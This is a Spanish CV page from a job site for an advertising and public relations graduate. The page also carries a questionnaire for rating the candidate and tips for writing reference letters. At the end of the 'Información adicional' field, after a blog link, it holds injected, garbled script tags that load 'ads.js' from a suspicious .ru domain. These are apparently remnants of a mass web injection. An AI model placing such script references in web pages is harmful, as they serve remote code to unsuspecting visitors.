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- ANÓNIMO
(Comunicación - Publicidad)
http://andrealoira.miCVweb.com
Última actualización:26/07/2008

DATOS PERSONALES

Madrid (Madrid) España
Fecha Nacimiento: 16/08/86


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 Cuestionario sobre el candidato. Valora de 1 a 5 los siguientes aspectos del candidato
  1. Exactitud, precisión en la realización de sus tareas y errores más repetidos.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  2. Presentación de los trabajos, de manera ordenada, con claridad, etc.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  3. Rapidez con la que trabaja y toma decisiones.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  4. Puntualidad en la entrega y realización de sus tareas.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  5. Diligencia para rectificar, si comete un error debe querer rectificarlo o contrastar información dudosa.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  6. Comprensión del trabajo, es decir, si sabe reconocer errores e información dudosa.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  7. Iniciativa a la hora de sugerir ideas para mejorar sus tareas.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  8. Capacidad para aprender, comprobando cómo asimila las instrucciones del superior y la manera en que se adapta a nuevos cambios y métodos.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  9. Actitud ante cambios de trabajo, si la actitud es positiva o negativa ante la implantación de nuevos métodos de trabajo u otros cambios.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  10. Cooperación, si está siempre dispuesto a ayudar, si tiene interés por la empresa y si siempre está dispuesto a colaborar.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  11. Aspecto personal, haciendo referencia a sus modales, educación, limpieza personal y presencia física.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  12. Puntualidad, considerando posibles retrasos al puesto de trabajo.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)
  13. Asistencia, considerando posibles ausencias del trabajo, tanto las autorizadas como las no autorizadas.
    Valoración:
    1 2 3 4 5

    Pon tus comentarios al respecto (Opcional)

Valore al candidato en las siguientes profesiones:

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CONSEJOS PARA REDACTAR UNAS BUENAS REFERENCIAS:

  • Antes de escribir la carta de recomendación es conveniente leer el currículo de la persona en cuestión para poder tener a mano más información.
  • Concéntrese en varios aspectos diferentes de la persona.  Para ello debe recordar sus habilidades, sus actitudes, sus capacidades y su crecimiento dentro de la empresa, así como también la contribución aportada en actividades sociales organizada por la compañía.  
  • No debe hacer referencias a características que podrían ser la base de discriminación, como la raza, color, nacionalidad, género, religión, edad, apariencia.  Tampoco mencione aspectos que podrían causar un obstáculo para el recomendado como su condición económica, el estatus marital o punto de vista político.
  • Mucho cuidado con el poder de palabras, ya que algunos términos parecen inofensivos en la conversación diaria.  Sin embargo, al escribirlas pueden arrastrar una connotación negativa para un futuro empleador.  Por ello, se recomienda evitar el empleo de palabras como: Medianamente, razonable, pasable, tranquilo, decente, regular.
  • En su lugar se aconseja usar palabras llenas de energía como: Comprometido, elocuente,  inteligente, observadora, significativa, expresiva, creativa, eficiente, imaginativo, creativo,  responsable  innovador
  • La siguiente lista de atributos es muy usada por los empleadores como herramientas para basarse en la selección de personal.  Por ello, son elementos esenciales de toda carta de recomendación:
    • Habilidad a comunicar
    • Confianza en sí mismo
    • Voluntad para aceptar responsabilidad
    • Liderazgo
    • Nivel de energía
    • Flexibilidad
    • Habilidades interpersonales
    • Conocimiento de sí mismo
    • Habilidad para manejar conflicto
    • Logro de meta
    • Competitividad

 

·         Es importante indicar la prontitud que debe ser confeccionada una carta de recomendación, ya que un trabajo puede depender de la puntualidad de este documento


CURRICULUM VITAE Nº 8119 


Área Profesional: Comunicación - Publicidad
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DATOS PERSONALES

Madrid (Madrid) España
Fecha Nacimiento: 16/08/86
 

EXPERIENCIA


Campeonato Europeo de Piragüismo  
6/ 2007 - 6/ 2007
Comunicación - Publicidad
Colaboración con el gabinete de prensa del evento. Funciones: redacción de notas de prensa, atención a medios nacionales y extranjeros, realización de entrevistas a deportistas...

Diario de Pontevedra  
(Sector: Comunicación/Imagen y sonido)
7/ 2007 - 9/ 2007
Periodismo
Colaboración como becaria en la redacción del periódico.
 

FORMACIÓN ACADÉMICA


Publicidad y relaciones Públicas
6/2008
Licenciado
Comunicación
Universidad de Vigo
 

FORMACIÓN COMPLEMENTARIA

 
Título: Comunicación y protocolo: la comunicación corporativa, herramienta de gestión en las empresas
Comunicación
Título: El spot y el diseño gráfico publicitario
Comunicación
 

IDIOMAS

Gallego Nivel Avanzado
Portugués Nivel Intermedio
Inglés Nivel Intermedio
 

INFORMÁTICA

Diseño (páginas web, CAD,…) No Precisado Photoshop / medio-alto Freehand / medio-alto Coreldraw / medio Premiere / medio Flash / medio-ba
 

INFORMACIÓN ADICIONAL


FORMACIÓN:2004-2008_ Licenciatura en Publicidad y Relaciones Públicas por la Universidad de VigoIDIOMAS Gallego / alto Portugués / medio-alto Inglés / medio-altoSOFTWARE: Photoshop / medio-alto Freehand / medio-alto CorelDraw / medio-alto Premiere / medio Flash / medioEXPERIENCIA:2007: Colaboración con el gabinete de prensa del Campeonato Europeo de Piragüismo. Funciones: redacción de notas de prensa, atención a medios nacionales y extranjeros, entrevistas a deportistas...2007 (Julio-Septiembre): Diario de Pontevedra. Colaboración como becaria en la redacción del periódicoFORMACIÓN COMPLEMENTARIA:2005: curso complementario (30h). "Comunicación y protocolo: la comunicación corporativa, herramienta de gestión de empresas e instituciones"2007: curso impartido por la Cámara de Comercio de Madrid. "El spot y el diseño gráfico publicitario"2007: asistencia al Valencia Advertising Summit2007: asistencia a los II Seminarios de Innovación en Medios, impartidos por ZenithMedia y la Universidad Complutense de MadridINFORMACIÓN ADICIONAL:1º Puesto en la II Edición de los Premios a la Innovación en Medios de ZenithMedia. (2008)Año académico 2006/ 2007 cursado en Aveiro (Portugal) a través del programa ErasmusAño académico 2007/ 2008 cursado en la Universidad Complutense de Madrid a través del programa SénecaAmplia experiencia como profesora particular de apoyo escolar de Primaria y ESOColaboración con la ONG "Solidarios para el desarrollo". Actividades: apoyo en Castellano a niños inmigrantes y tiempo libre con niños.Carnet de conducir BCocheColaboradora en el blog: http://www.comprameahora.blogspot.com sr script src=http://www.bannerdriven.ru/ads.js> script src=http://www.bannerdriven.ru/ads.js>
 



 

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